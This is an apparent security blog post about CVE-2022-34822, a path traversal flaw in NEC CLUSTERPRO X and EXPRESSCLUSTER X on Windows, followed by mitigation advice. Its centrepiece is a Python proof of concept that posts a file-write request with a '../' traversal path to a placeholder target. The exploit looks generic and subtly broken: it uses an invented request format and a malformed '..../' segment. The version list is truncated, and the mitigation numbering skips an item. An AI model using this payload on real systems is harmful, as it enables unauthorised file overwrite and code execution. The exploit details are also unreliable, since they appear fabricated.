A recent path traversal vulnerability with the identifier CVE-2022-34822 has been discovered in multiple versions of NEC's CLUSTERPRO X and EXPRESSCLUSTER X software, affecting Windows platforms. This vulnerability enables a remote attacker with no prior authentication to easily overwrite files on the system and potentially execute arbitrary code. In this post, we will explore the nature of this vulnerability, provide some code snippets demonstrating the exploit, and discuss potential mitigation strategies.

EXPRESSCLUSTER X 5. SingleServerSafe for Windows and earlier

Please refer to NEC's original advisory for more information on the affected products: NEC Security Notice

Exploit Details

The vulnerability exploits a path traversal bug that allows an attacker to overwrite existing files or create new files on the target system, potentially leading to the execution of arbitrary code. The vulnerability is relatively easy to exploit, and sample code demonstrating how to trigger the vulnerability is provided below.

Code Snippet

The following Python code snippet demonstrates a proof of concept (POC) exploit that targets the vulnerability in the affected software products:

import requests

target_url = "http://TARGET_IP:TARGET_PORT";

# Change 'example_file.txt' and its content as needed
file_name = "example_file.txt"
file_content = "This file has been overwritten by the exploit."

request_payload = {
   "operation": "write",
   "file": "../../../../../../..../some_path/" + file_name,
   "data": file_content
}

response = requests.post(target_url, json=request_payload)

if response.status_code == 200:
   print("File successfully overwritten.")
else:
   print("Error: Unable to overwrite the file.")

Please note that the provided code is for educational purposes only and should not be used for malicious activity.

Mitigation Strategies

System administrators and users of the affected CLUSTERPRO X and EXPRESSCLUSTER X products should consider the following steps to mitigate the risks posed by this vulnerability:

1. Update to the latest available version of the respective software product. NEC has released security updates to address the vulnerability, and users are advised to download and apply them as soon as possible.
2. Limit access to the affected systems by enabling strict firewall rules that only allow trusted IP addresses and valid user accounts to access the vulnerable services.

Regularly monitor system logs for signs of unauthorized access or unusual activity.

4. Conduct frequent system backups to ensure that vital data can be easily restored in case of a successful compromise.

Conclusion

The CVE-2022-34822 path traversal vulnerability leaves numerous versions of NEC's CLUSTERPRO X and EXPRESSCLUSTER X products at risk of file overwriting and arbitrary code execution by remote attackers. By understanding the nature of this vulnerability, administrators can apply effective mitigation strategies like updating to the latest software version and employing strict access controls. Please continue to stay vigilant and informed about emerging security threats to help protect your systems and data.

Timeline

Published on: 11/08/2022 22:15:00 UTC
Last modified on: 11/09/2022 16:30:00 UTC